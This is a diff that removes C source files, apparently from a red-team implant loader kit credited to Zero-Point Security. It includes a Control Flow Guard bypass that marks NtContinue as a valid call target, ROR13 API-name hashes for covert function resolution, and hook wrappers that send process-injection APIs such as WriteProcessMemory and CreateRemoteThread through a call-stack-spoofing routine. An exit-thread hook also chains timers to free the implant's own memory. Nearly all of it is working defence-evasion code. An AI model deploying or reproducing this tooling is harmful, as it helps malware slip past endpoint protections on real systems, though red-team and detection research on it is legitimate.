} MEMORY_INFORMATION_CLASS;
|
||||
|
||||
DECLSPEC_IMPORT NTSTATUS NTAPI NTDLL$NtQueryInformationProcess (HANDLE, PROCESSINFOCLASS, PVOID, ULONG, PULONG);
|
||||
DECLSPEC_IMPORT NTSTATUS NTAPI NTDLL$NtQueryVirtualMemory (HANDLE, PVOID, MEMORY_INFORMATION_CLASS, PVOID, SIZE_T, PSIZE_T);
|
||||
DECLSPEC_IMPORT NTSTATUS NTAPI NTDLL$NtSetInformationVirtualMemory (HANDLE, VIRTUAL_MEMORY_INFORMATION_CLASS, SIZE_T, PMEMORY_RANGE_ENTRY, PVOID, ULONG);
|
||||
|
||||
BOOL CfgEnabled()
|
||||
{
|
||||
EXTENDED_PROCESS_INFORMATION procInfo;
|
||||
memset(&procInfo, 0, sizeof(EXTENDED_PROCESS_INFORMATION));
|
||||
|
||||
NTSTATUS status = 0;
|
||||
|
||||
procInfo.ExtendedProcessInfo = ProcessControlFlowGuardPolicy;
|
||||
procInfo.ExtendedProcessInfoBuffer = 0;
|
||||
|
||||
status = NTDLL$NtQueryInformationProcess(NtCurrentProcess(), ProcessCookie | ProcessUserModeIOPL, &procInfo, sizeof(procInfo), NULL);
|
||||
|
||||
if (!NT_SUCCESS(status)) {
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
return procInfo.ExtendedProcessInfoBuffer;
|
||||
}
|
||||
|
||||
BOOL BypassCfg(PVOID address)
|
||||
{
|
||||
MEMORY_BASIC_INFORMATION mbi;
|
||||
VM_INFORMATION vmi;
|
||||
MEMORY_RANGE_ENTRY mre;
|
||||
CFG_CALL_TARGET_INFO cti;
|
||||
|
||||
memset(&mbi, 0, sizeof(MEMORY_BASIC_INFORMATION));
|
||||
memset(&vmi, 0, sizeof(VM_INFORMATION));
|
||||
memset(&mre, 0, sizeof(MEMORY_RANGE_ENTRY));
|
||||
memset(&cti, 0, sizeof(CFG_CALL_TARGET_INFO));
|
||||
|
||||
NTSTATUS status = NTDLL$NtQueryVirtualMemory(NtCurrentProcess(), address, MemoryBasicInformation, &mbi, sizeof(mbi), 0);
|
||||
|
||||
if (!NT_SUCCESS(status)) {
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
if (mbi.State != MEM_COMMIT || mbi.Type != MEM_IMAGE) {
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
cti.Offset = (ULONG_PTR)address - (ULONG_PTR)mbi.BaseAddress;
|
||||
cti.Flags = CFG_CALL_TARGET_VALID;
|
||||
|
||||
mre.NumberOfBytes = (SIZE_T)mbi.RegionSize;
|
||||
mre.VirtualAddress = (PVOID)mbi.BaseAddress;
|
||||
|
||||
ULONG dwOutput = 0;
|
||||
|
||||
vmi.dwNumberOfOffsets = 0x1;
|
||||
vmi.plOutput = &dwOutput;
|
||||
vmi.ptOffsets = &cti;
|
||||
vmi.pMustBeZero = 0x0;
|
||||
vmi.pMoarZero = 0x0;
|
||||
|
||||
status = NTDLL$NtSetInformationVirtualMemory(NtCurrentProcess(), VmCfgCallTargetInformation, 1, &mre, (PVOID)&vmi, (ULONG)sizeof(vmi));
|
||||
|
||||
if (status == 0xC00000F4) {
|
||||
/* the size parameter is not valid. try 24 instead, which is a known size for older windows versions */
|
||||
status = NTDLL$NtSetInformationVirtualMemory(NtCurrentProcess(), VmCfgCallTargetInformation, 1, &mre, (PVOID)&vmi, 24);
|
||||
}
|
||||
|
||||
if (!NT_SUCCESS(status)) {
|
||||
/* STATUS_INVALID_PAGE_PROTECTION - CFG wasn't enabled */
|
||||
if (status == 0xC0000045) {
|
||||
/* pretend we bypassed it so timers can continue */
|
||||
return TRUE;
|
||||
}
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
@@ -1,88 +0,0 @@
|
||||
/*
|
||||
* Copyright 2025 Daniel Duggan, Zero-Point Security
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without modification, are
|
||||
* permitted provided that the following conditions are met:
|
||||
*
|
||||
* 1. Redistributions of source code must retain the above copyright notice, this list of
|
||||
* conditions and the following disclaimer.
|
||||
*
|
||||
* 2. Redistributions in binary form must reproduce the above copyright notice, this list of
|
||||
* conditions and the following disclaimer in the documentation and/or other materials provided
|
||||
* with the distribution.
|
||||
*
|
||||
* 3. Neither the name of the copyright holder nor the names of its contributors may be used to
|
||||
* endorse or promote products derived from this software without specific prior written
|
||||
* permission.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS “AS IS” AND ANY EXPRESS
|
||||
* OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
|
||||
* MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
|
||||
* COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
|
||||
* EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
|
||||
* SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
|
||||
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR
|
||||
* TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE,
|
||||
* EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
||||
*/
|
||||
|
||||
#include <windows.h>
|
||||
|
||||
#define KERNEL32DLL_HASH 0x6A4ABC5B
|
||||
#define NTDLLDLL_HASH 0x3CFA685D
|
||||
|
||||
#define TEXT_HASH 0xEBC2F9B4
|
||||
|
||||
#define LOADLIBRARYA_HASH 0xEC0E4E8E
|
||||
#define LOADLIBRARYW_HASH 0xEC0E4EA4
|
||||
#define LOADLIBRARYEXW_HASH 0x753A512
|
||||
#define GETPROCADDRESS_HASH 0x7C0DFCAA
|
||||
#define RTLLOOKUPFUNCTIONENTRY_HASH 0xC1D846D9
|
||||
#define GETMODULEHANDLEA_HASH 0xD3324904
|
||||
#define VIRTUALALLOC_HASH 0x91AFCA54
|
||||
#define VIRTUALALLOCEX_HASH 0x6E1A959C
|
||||
#define VIRTUALPROTECT_HASH 0x7946C61B
|
||||
#define VIRTUALPROTECTEX_HASH 0x53D98756
|
||||
#define VIRTUALFREE_HASH 0x30633AC
|
||||
#define GETTHREADCONTEXT_HASH 0x68A7C7D2
|
||||
#define SETTHREADCONTEXT_HASH 0xE8A7C7D3
|
||||
#define INTERNETOPENA_HASH 0x57E84429
|
||||
#define INTERNETCONNECTA_HASH 0x1E4BE80E
|
||||
#define RESUMETHREAD_HASH 0x9E4A3F88
|
||||
#define CREATETHREAD_HASH 0xCA2BD06B
|
||||
#define CREATEREMOTETHREAD_HASH 0x72BD9CDD
|
||||
#define OPENPROCESS_HASH 0xEFE297C0
|
||||
#define OPENTHREAD_HASH 0x58C91E6F
|
||||
#define CLOSEHANDLE_HASH 0xFFD97FB
|
||||
#define CREATEFILEMAPPINGA_HASH 0x56C61229
|
||||
#define MAPVIEWOFFILE_HASH 0x7B073C59
|
||||
#define UNMAPVIEWOFFILE_HASH 0xB2089259
|
||||
#define VIRTUALQUERY_HASH 0xA3C8C8AA
|
||||
#define DUPLICATEHANDLE_HASH 0xBD566724
|
||||
#define READPROCESSMEMORY_HASH 0x579D1BE9
|
||||
#define WRITEPROCESSMEMORY_HASH 0xD83D6AA1
|
||||
#define EXITTHREAD_HASH 0x60E0CEEF
|
||||
#define CREATEPROCESSA_HASH 0x16B3FE72
|
||||
#define SLEEP_HASH 0xDB2D49B0
|
||||
|
||||
#define HASH_KEY 13
|
||||
|
||||
#ifndef __MINGW32__
|
||||
#pragma intrinsic( _rotr )
|
||||
#endif
|
||||
|
||||
__forceinline DWORD ror( DWORD d ) {
|
||||
return _rotr( d, HASH_KEY );
|
||||
}
|
||||
|
||||
__forceinline DWORD hash( char * c )
|
||||
{
|
||||
register DWORD h = 0;
|
||||
do
|
||||
{
|
||||
h = ror( h );
|
||||
h += *c;
|
||||
} while( *++c );
|
||||
|
||||
return h;
|
||||
}
|
||||
@@ -1,720 +0,0 @@
|
||||
/*
|
||||
* Copyright 2025 Daniel Duggan, Zero-Point Security
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without modification, are
|
||||
* permitted provided that the following conditions are met:
|
||||
*
|
||||
* 1. Redistributions of source code must retain the above copyright notice, this list of
|
||||
* conditions and the following disclaimer.
|
||||
*
|
||||
* 2. Redistributions in binary form must reproduce the above copyright notice, this list of
|
||||
* conditions and the following disclaimer in the documentation and/or other materials provided
|
||||
* with the distribution.
|
||||
*
|
||||
* 3. Neither the name of the copyright holder nor the names of its contributors may be used to
|
||||
* endorse or promote products derived from this software without specific prior written
|
||||
* permission.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS “AS IS” AND ANY EXPRESS
|
||||
* OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
|
||||
* MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
|
||||
* COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
|
||||
* EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
|
||||
* SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
|
||||
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR
|
||||
* TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE,
|
||||
* EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
||||
*/
|
||||
|
||||
#include <windows.h>
|
||||
#include <wininet.h>
|
||||
#include "hook.h"
|
||||
#include "cfg.h"
|
||||
#include "tcg.h"
|
||||
|
||||
/* store resolved functions */
|
||||
void * g_ExitThread;
|
||||
|
||||
/* some globals */
|
||||
MEMORY_LAYOUT g_layout;
|
||||
|
||||
LPVOID WINAPI _VirtualAlloc(LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect)
|
||||
{
|
||||
FUNCTION_CALL call;
|
||||
memset(&call, 0, sizeof(FUNCTION_CALL));
|
||||
|
||||
call.function = (PVOID)(KERNEL32$VirtualAlloc);
|
||||
call.argc = 4;
|
||||
call.args[0] = (ULONG_PTR)(lpAddress);
|
||||
call.args[1] = (ULONG_PTR)(dwSize);
|
||||
call.args[2] = (ULONG_PTR)(flAllocationType);
|
||||
call.args[3] = (ULONG_PTR)(flProtect);
|
||||
|
||||
return (LPVOID)draugr(&call);
|
||||
}
|
||||
|
||||
LPVOID WINAPI _VirtualAllocEx(HANDLE hProcess, LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect)
|
||||
{
|
||||
FUNCTION_CALL call;
|
||||
memset(&call, 0, sizeof(FUNCTION_CALL));
|
||||
|
||||
call.function = (PVOID)(KERNEL32$VirtualAllocEx);
|
||||
call.argc = 5;
|
||||
call.args[0] = (ULONG_PTR)(hProcess);
|
||||
call.args[1] = (ULONG_PTR)(lpAddress);
|
||||
call.args[2] = (ULONG_PTR)(dwSize);
|
||||
call.args[3] = (ULONG_PTR)(flAllocationType);
|
||||
call.args[4] = (ULONG_PTR)(flProtect);
|
||||
|
||||
return (LPVOID)draugr(&call);
|
||||
}
|
||||
|
||||
BOOL WINAPI _VirtualProtect(LPVOID lpAddress, SIZE_T dwSize, DWORD flNewProtect, PDWORD lpflOldProtect)
|
||||
{
|
||||
FUNCTION_CALL call;
|
||||
memset(&call, 0, sizeof(FUNCTION_CALL));
|
||||
|
||||
call.function = (PVOID)(KERNEL32$VirtualProtect);
|
||||
call.argc = 4;
|
||||
call.args[0] = (ULONG_PTR)(lpAddress);
|
||||
call.args[1] = (ULONG_PTR)(dwSize);
|
||||
call.args[2] = (ULONG_PTR)(flNewProtect);
|
||||
call.args[3] = (ULONG_PTR)(lpflOldProtect);
|
||||
|
||||
return (BOOL)draugr(&call);
|
||||
}
|
||||
|
||||
BOOL WINAPI _VirtualProtectEx(HANDLE hProcess, LPVOID lpAddress, SIZE_T dwSize, DWORD flNewProtect, PDWORD lpflOldProtect)
|
||||
{
|
||||
FUNCTION_CALL call;
|
||||
memset(&call, 0, sizeof(FUNCTION_CALL));
|
||||
|
||||
call.function = (PVOID)(KERNEL32$VirtualProtectEx);
|
||||
call.argc = 5;
|
||||
call.args[0] = (ULONG_PTR)(hProcess);
|
||||
call.args[1] = (ULONG_PTR)(lpAddress);
|
||||
call.args[2] = (ULONG_PTR)(dwSize);
|
||||
call.args[3] = (ULONG_PTR)(flNewProtect);
|
||||
call.args[4] = (ULONG_PTR)(lpflOldProtect);
|
||||
|
||||
return (BOOL)draugr(&call);
|
||||
}
|
||||
|
||||
BOOL WINAPI _VirtualFree(LPVOID lpAddress, SIZE_T dwSize, DWORD dwFreeType)
|
||||
{
|
||||
FUNCTION_CALL call;
|
||||
memset(&call, 0, sizeof(FUNCTION_CALL));
|
||||
|
||||
call.function = (PVOID)(KERNEL32$VirtualFree);
|
||||
call.argc = 3;
|
||||
call.args[0] = (ULONG_PTR)(lpAddress);
|
||||
call.args[1] = (ULONG_PTR)(dwSize);
|
||||
call.args[2] = (ULONG_PTR)(dwFreeType);
|
||||
|
||||
return (BOOL)draugr(&call);
|
||||
}
|
||||
|
||||
BOOL WINAPI _GetThreadContext(HANDLE hThread, LPCONTEXT lpContext)
|
||||
{
|
||||
FUNCTION_CALL call;
|
||||
memset(&call, 0, sizeof(FUNCTION_CALL));
|
||||
|
||||
call.function = (PVOID)(KERNEL32$GetThreadContext);
|
||||
call.argc = 2;
|
||||
call.args[0] = (ULONG_PTR)(hThread);
|
||||
call.args[1] = (ULONG_PTR)(lpContext);
|
||||
|
||||
return (BOOL)draugr(&call);
|
||||
}
|
||||
|
||||
BOOL WINAPI _SetThreadContext(HANDLE hThread, const CONTEXT *lpContext)
|
||||
{
|
||||
FUNCTION_CALL call;
|
||||
memset(&call, 0, sizeof(FUNCTION_CALL));
|
||||
|
||||
call.function = (PVOID)(KERNEL32$SetThreadContext);
|
||||
call.argc = 2;
|
||||
call.args[0] = (ULONG_PTR)(hThread);
|
||||
call.args[1] = (ULONG_PTR)(lpContext);
|
||||
|
||||
return (BOOL)draugr(&call);
|
||||
}
|
||||
|
||||
DWORD WINAPI _ResumeThread(HANDLE hThread)
|
||||
{
|
||||
FUNCTION_CALL call;
|
||||
memset(&call, 0, sizeof(FUNCTION_CALL));
|
||||
|
||||
call.function = (PVOID)(KERNEL32$ResumeThread);
|
||||
call.argc = 1;
|
||||
call.args[0] = (ULONG_PTR)(hThread);
|
||||
|
||||
return (DWORD)draugr(&call);
|
||||
}
|
||||
|
||||
HANDLE WINAPI _CreateThread(LPSECURITY_ATTRIBUTES lpThreadAttributes, SIZE_T dwStackSize, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, DWORD dwCreationFlags, LPDWORD lpThreadId)
|
||||
{
|
||||
FUNCTION_CALL call;
|
||||
memset(&call, 0, sizeof(FUNCTION_CALL));
|
||||
|
||||
call.function = (PVOID)(KERNEL32$CreateThread);
|
||||
call.argc = 6;
|
||||
call.args[0] = (ULONG_PTR)(lpThreadAttributes);
|
||||
call.args[1] = (ULONG_PTR)(dwStackSize);
|
||||
call.args[2] = (ULONG_PTR)(lpStartAddress);
|
||||
call.args[3] = (ULONG_PTR)(lpParameter);
|
||||
call.args[4] = (ULONG_PTR)(dwCreationFlags);
|
||||
call.args[5] = (ULONG_PTR)(lpThreadId);
|
||||
|
||||
return (HANDLE)draugr(&call);
|
||||
}
|
||||
|
||||
HANDLE WINAPI _CreateRemoteThread(HANDLE hProcess, LPSECURITY_ATTRIBUTES lpThreadAttributes, SIZE_T dwStackSize, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, DWORD dwCreationFlags, LPDWORD lpThreadId)
|
||||
{
|
||||
FUNCTION_CALL call;
|
||||
memset(&call, 0, sizeof(FUNCTION_CALL));
|
||||
|
||||
call.function = (PVOID)(KERNEL32$CreateRemoteThread);
|
||||
call.argc = 7;
|
||||
call.args[0] = (ULONG_PTR)(hProcess);
|
||||
call.args[1] = (ULONG_PTR)(lpThreadAttributes);
|
||||
call.args[2] = (ULONG_PTR)(dwStackSize);
|
||||
call.args[3] = (ULONG_PTR)(lpStartAddress);
|
||||
call.args[4] = (ULONG_PTR)(lpParameter);
|
||||
call.args[5] = (ULONG_PTR)(dwCreationFlags);
|
||||
call.args[6] = (ULONG_PTR)(lpThreadId);
|
||||
|
||||
return (HANDLE)draugr(&call);
|
||||
}
|
||||
|
||||
HANDLE WINAPI _OpenProcess(DWORD dwDesiredAccess, BOOL bInheritHandle, DWORD dwProcessId)
|
||||
{
|
||||
FUNCTION_CALL call;
|
||||
memset(&call, 0, sizeof(FUNCTION_CALL));
|
||||
|
||||
call.function = (PVOID)(KERNEL32$OpenProcess);
|
||||
call.argc = 3;
|
||||
call.args[0] = (ULONG_PTR)(dwDesiredAccess);
|
||||
call.args[1] = (ULONG_PTR)(bInheritHandle);
|
||||
call.args[2] = (ULONG_PTR)(dwProcessId);
|
||||
|
||||
return (HANDLE)draugr(&call);
|
||||
}
|
||||
|
||||
HANDLE WINAPI _OpenThread(DWORD dwDesiredAccess, BOOL bInheritHandle, DWORD dwThreadId)
|
||||
{
|
||||
FUNCTION_CALL call;
|
||||
memset(&call, 0, sizeof(FUNCTION_CALL));
|
||||
|
||||
call.function = (PVOID)(KERNEL32$OpenThread);
|
||||
call.argc = 3;
|
||||
call.args[0] = (ULONG_PTR)(dwDesiredAccess);
|
||||
call.args[1] = (ULONG_PTR)(bInheritHandle);
|
||||
call.args[2] = (ULONG_PTR)(dwThreadId);
|
||||
|
||||
return (HANDLE)draugr(&call);
|
||||
}
|
||||
|
||||
BOOL WINAPI _CloseHandle(HANDLE hObject)
|
||||
{
|
||||
FUNCTION_CALL call;
|
||||
memset(&call, 0, sizeof(FUNCTION_CALL));
|
||||
|
||||
call.function = (PVOID)(KERNEL32$CloseHandle);
|
||||
call.argc = 1;
|
||||
call.args[0] = (ULONG_PTR)(hObject);
|
||||
|
||||
return (BOOL)draugr(&call);
|
||||
}
|
||||
|
||||
HANDLE WINAPI _CreateFileMappingA(HANDLE hFile, LPSECURITY_ATTRIBUTES lpFileMappingAttributes, DWORD flProtect, DWORD dwMaximumSizeHigh, DWORD dwMaximumSizeLow, LPCSTR lpName)
|
||||
{
|
||||
FUNCTION_CALL call;
|
||||
memset(&call, 0, sizeof(FUNCTION_CALL));
|
||||
|
||||
call.function = (PVOID)(KERNEL32$CreateFileMappingA);
|
||||
call.argc = 6;
|
||||
call.args[0] = (ULONG_PTR)(hFile);
|
||||
call.args[1] = (ULONG_PTR)(lpFileMappingAttributes);
|
||||
call.args[2] = (ULONG_PTR)(flProtect);
|
||||
call.args[3] = (ULONG_PTR)(dwMaximumSizeHigh);
|
||||
call.args[4] = (ULONG_PTR)(dwMaximumSizeLow);
|
||||
call.args[5] = (ULONG_PTR)(lpName);
|
||||
|
||||
return (HANDLE)draugr(&call);
|
||||
}
|
||||
|
||||
LPVOID WINAPI _MapViewOfFile(HANDLE hFileMappingObject, DWORD dwDesiredAccess, DWORD dwFileOffsetHigh, DWORD dwFileOffsetLow, SIZE_T dwNumberOfBytesToMap)
|
||||
{
|
||||
FUNCTION_CALL call;
|
||||
memset(&call, 0, sizeof(FUNCTION_CALL));
|
||||
|
||||
call.function = (PVOID)(KERNEL32$MapViewOfFile);
|
||||
call.argc = 5;
|
||||
call.args[0] = (ULONG_PTR)(hFileMappingObject);
|
||||
call.args[1] = (ULONG_PTR)(dwDesiredAccess);
|
||||
call.args[2] = (ULONG_PTR)(dwFileOffsetHigh);
|
||||
call.args[3] = (ULONG_PTR)(dwFileOffsetLow);
|
||||
call.args[4] = (ULONG_PTR)(dwNumberOfBytesToMap);
|
||||
|
||||
return (LPVOID)draugr(&call);
|
||||
}
|
||||
|
||||
BOOL WINAPI _UnmapViewOfFile(LPCVOID lpBaseAddress)
|
||||
{
|
||||
FUNCTION_CALL call;
|
||||
memset(&call, 0, sizeof(FUNCTION_CALL));
|
||||
|
||||
call.function = (PVOID)(KERNEL32$MapViewOfFile);
|
||||
call.argc = 1;
|
||||
call.args[0] = (ULONG_PTR)(lpBaseAddress);
|
||||
|
||||
return (BOOL)draugr(&call);
|
||||
}
|
||||
|
||||
SIZE_T WINAPI _VirtualQuery(LPCVOID lpAddress, PMEMORY_BASIC_INFORMATION lpBuffer, SIZE_T dwLength)
|
||||
{
|
||||
FUNCTION_CALL call;
|
||||
memset(&call, 0, sizeof(FUNCTION_CALL));
|
||||
|
||||
call.function = (PVOID)(KERNEL32$VirtualQuery);
|
||||
call.argc = 3;
|
||||
call.args[0] = (ULONG_PTR)(lpAddress);
|
||||
call.args[1] = (ULONG_PTR)(lpBuffer);
|
||||
call.args[2] = (ULONG_PTR)(dwLength);
|
||||
|
||||
return (SIZE_T)draugr(&call);
|
||||
}
|
||||
|
||||
BOOL WINAPI _DuplicateHandle(HANDLE hSourceProcessHandle, HANDLE hSourceHandle, HANDLE hTargetProcessHandle, LPHANDLE lpTargetHandle, DWORD dwDesiredAccess, BOOL bInheritHandle, DWORD dwOptions)
|
||||
{
|
||||
FUNCTION_CALL call;
|
||||
memset(&call, 0, sizeof(FUNCTION_CALL));
|
||||
|
||||
call.function = (PVOID)(KERNEL32$DuplicateHandle);
|
||||
call.argc = 7;
|
||||
call.args[0] = (ULONG_PTR)(hSourceProcessHandle);
|
||||
call.args[1] = (ULONG_PTR)(hSourceHandle);
|
||||
call.args[2] = (ULONG_PTR)(hTargetProcessHandle);
|
||||
call.args[3] = (ULONG_PTR)(lpTargetHandle);
|
||||
call.args[4] = (ULONG_PTR)(dwDesiredAccess);
|
||||
call.args[5] = (ULONG_PTR)(bInheritHandle);
|
||||
call.args[6] = (ULONG_PTR)(dwOptions);
|
||||
|
||||
return (BOOL)draugr(&call);
|
||||
}
|
||||
|
||||
BOOL WINAPI _ReadProcessMemory(HANDLE hProcess, LPCVOID lpBaseAddress, LPVOID lpBuffer, SIZE_T nSize, SIZE_T * lpNumberOfBytesRead)
|
||||
{
|
||||
FUNCTION_CALL call;
|
||||
memset(&call, 0, sizeof(FUNCTION_CALL));
|
||||
|
||||
call.function = (PVOID)(KERNEL32$ReadProcessMemory);
|
||||
call.argc = 5;
|
||||
call.args[0] = (ULONG_PTR)(hProcess);
|
||||
call.args[1] = (ULONG_PTR)(lpBaseAddress);
|
||||
call.args[2] = (ULONG_PTR)(lpBuffer);
|
||||
call.args[3] = (ULONG_PTR)(nSize);
|
||||
call.args[4] = (ULONG_PTR)(lpNumberOfBytesRead);
|
||||
|
||||
return (BOOL)draugr(&call);
|
||||
}
|
||||
|
||||
BOOL WINAPI _WriteProcessMemory(HANDLE hProcess, LPVOID lpBaseAddress, LPCVOID lpBuffer, SIZE_T nSize, SIZE_T * lpNumberOfBytesWritten)
|
||||
{
|
||||
FUNCTION_CALL call;
|
||||
memset(&call, 0, sizeof(FUNCTION_CALL));
|
||||
|
||||
call.function = (PVOID)(KERNEL32$WriteProcessMemory);
|
||||
call.argc = 5;
|
||||
call.args[0] = (ULONG_PTR)(hProcess);
|
||||
call.args[1] = (ULONG_PTR)(lpBaseAddress);
|
||||
call.args[2] = (ULONG_PTR)(lpBuffer);
|
||||
call.args[3] = (ULONG_PTR)(nSize);
|
||||
call.args[4] = (ULONG_PTR)(lpNumberOfBytesWritten);
|
||||
|
||||
return (BOOL)draugr(&call);
|
||||
}
|
||||
|
||||
DECLSPEC_NORETURN VOID WINAPI _ExitThread(DWORD dwExitCode)
|
||||
{
|
||||
/* is cfg enabled? */
|
||||
BOOL cfgEnabled = CfgEnabled();
|
||||
|
||||
if (cfgEnabled) {
|
||||
/* try to bypass it at NtContinue */
|
||||
if (BypassCfg(NTDLL$NtContinue)) {
|
||||
cfgEnabled = FALSE;
|
||||
}
|
||||
}
|
||||
|
||||
if (!cfgEnabled)
|
||||
{
|
||||
CONTEXT ctx;
|
||||
memset(&ctx, 0, sizeof(CONTEXT));
|
||||
|
||||
ctx.ContextFlags = CONTEXT_ALL;
|
||||
|
||||
HANDLE hTimerQueue = NULL;
|
||||
HANDLE hNewTimer = NULL;
|
||||
|
||||
hTimerQueue = KERNEL32$CreateTimerQueue();
|
||||
|
||||
if (KERNEL32$CreateTimerQueueTimer(&hNewTimer, hTimerQueue, (WAITORTIMERCALLBACK)(KERNEL32$RtlCaptureContext), &ctx, 0, 0, WT_EXECUTEINTIMERTHREAD))
|
||||
{
|
||||
KERNEL32$Sleep(1000);
|
||||
|
||||
if (ctx.Rip != 0)
|
||||
{
|
||||
HANDLE hHeap = KERNEL32$GetProcessHeap();
|
||||
PCONTEXT ctxFree = (PCONTEXT)KERNEL32$HeapAlloc(hHeap, HEAP_ZERO_MEMORY, sizeof(CONTEXT) * 3);
|
||||
|
||||
for (int i = 0; i < 3; i++) {
|
||||
memcpy(&ctxFree[i], &ctx, sizeof(CONTEXT));
|
||||
}
|
||||
|
||||
ctxFree[0].Rsp -= sizeof(PVOID);
|
||||
ctxFree[0].Rip = (DWORD64)(KERNEL32$VirtualFree);
|
||||
ctxFree[0].Rcx = (DWORD64)(g_layout.dll.baseAddress);
|
||||
ctxFree[0].Rdx = (DWORD64)(0);
|
||||
ctxFree[0].R8 = (DWORD64)(MEM_RELEASE);
|
||||
|
||||
ctxFree[1].Rsp -= sizeof(PVOID);
|
||||
ctxFree[1].Rip = (DWORD64)(KERNEL32$VirtualFree);
|
||||
ctxFree[1].Rcx = (DWORD64)(g_layout.hooks.baseAddress);
|
||||
ctxFree[1].Rdx = (DWORD64)(0);
|
||||
ctxFree[1].R8 = (DWORD64)(MEM_RELEASE);
|
||||
|
||||
ctxFree[2].Rsp -= sizeof(PVOID);
|
||||
ctxFree[2].Rip = (DWORD64)(KERNEL32$VirtualFree);
|
||||
ctxFree[2].Rcx = (DWORD64)(g_layout.pic.baseAddress);
|
||||
ctxFree[2].Rdx = (DWORD64)(0);
|
||||
ctxFree[2].R8 = (DWORD64)(MEM_RELEASE);
|
||||
|
||||
KERNEL32$CreateTimerQueueTimer(&hNewTimer, hTimerQueue, (WAITORTIMERCALLBACK)(NTDLL$NtContinue), &ctxFree[0], 500, 0, WT_EXECUTEINTIMERTHREAD);
|
||||
KERNEL32$CreateTimerQueueTimer(&hNewTimer, hTimerQueue, (WAITORTIMERCALLBACK)(NTDLL$NtContinue), &ctxFree[1], 500, 0, WT_EXECUTEINTIMERTHREAD);
|
||||
KERNEL32$CreateTimerQueueTimer(&hNewTimer, hTimerQueue, (WAITORTIMERCALLBACK)(NTDLL$NtContinue), &ctxFree[2], 500, 0, WT_EXECUTEINTIMERTHREAD);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
FUNCTION_CALL call;
|
||||
memset(&call, 0, sizeof(FUNCTION_CALL));
|
||||
|
||||
call.function = (PVOID)(g_ExitThread);
|
||||
call.argc = 1;
|
||||
call.args[0] = (ULONG_PTR)(dwExitCode);
|
||||
|
||||
draugr(&call);
|
||||
}
|
||||
|
||||
BOOL WINAPI _CreateProcessA(LPCSTR lpApplicationName, LPSTR lpCommandLine, LPSECURITY_ATTRIBUTES lpProcessAttributes, LPSECURITY_ATTRIBUTES lpThreadAttributes, BOOL bInheritHandles, DWORD dwCreationFlags, LPVOID lpEnvironment, LPCSTR lpCurrentDirectory, LPSTARTUPINFOA lpStartupInfo, LPPROCESS_INFORMATION lpProcessInformation)
|
||||
{
|
||||
FUNCTION_CALL call;
|
||||
memset(&call, 0, sizeof(FUNCTION_CALL));
|
||||
|
||||
call.function = (PVOID)(KERNEL32$CreateProcessA);
|
||||
call.argc = 10;
|
||||
call.args[0] = (ULONG_PTR)(lpApplicationName);
|
||||
call.args[1] = (ULONG_PTR)(lpCommandLine);
|
||||
call.args[2] = (ULONG_PTR)(lpProcessAttributes);
|
||||
call.args[3] = (ULONG_PTR)(lpThreadAttributes);
|
||||
call.args[4] = (ULONG_PTR)(bInheritHandles);
|
||||
call.args[5] = (ULONG_PTR)(dwCreationFlags);
|
||||
call.args[6] = (ULONG_PTR)(lpEnvironment);
|
||||
call.args[7] = (ULONG_PTR)(lpCurrentDirectory);
|
||||
call.args[8] = (ULONG_PTR)(lpStartupInfo);
|
||||
call.args[9] = (ULONG_PTR)(lpProcessInformation);
|
||||
|
||||
return (BOOL)draugr(&call);
|
||||
}
|
||||
|
||||
VOID WINAPI _Sleep(DWORD dwMilliseconds)
|
||||
{
|
||||
/* only stack spoof if sleep is >= 1s */
|
||||
if (dwMilliseconds < 1000) {
|
||||
KERNEL32$Sleep(dwMilliseconds);
|
||||
return;
|
||||
}
|
||||
|
||||
FUNCTION_CALL call;
|
||||
memset(&call, 0, sizeof(FUNCTION_CALL));
|
||||
|
||||
call.function = (PVOID)(KERNEL32$Sleep);
|
||||
call.argc = 1;
|
||||
call.args[0] = (ULONG_PTR)(dwMilliseconds);
|
||||
|
||||
draugr(&call);
|
||||
}
|
||||
|
||||
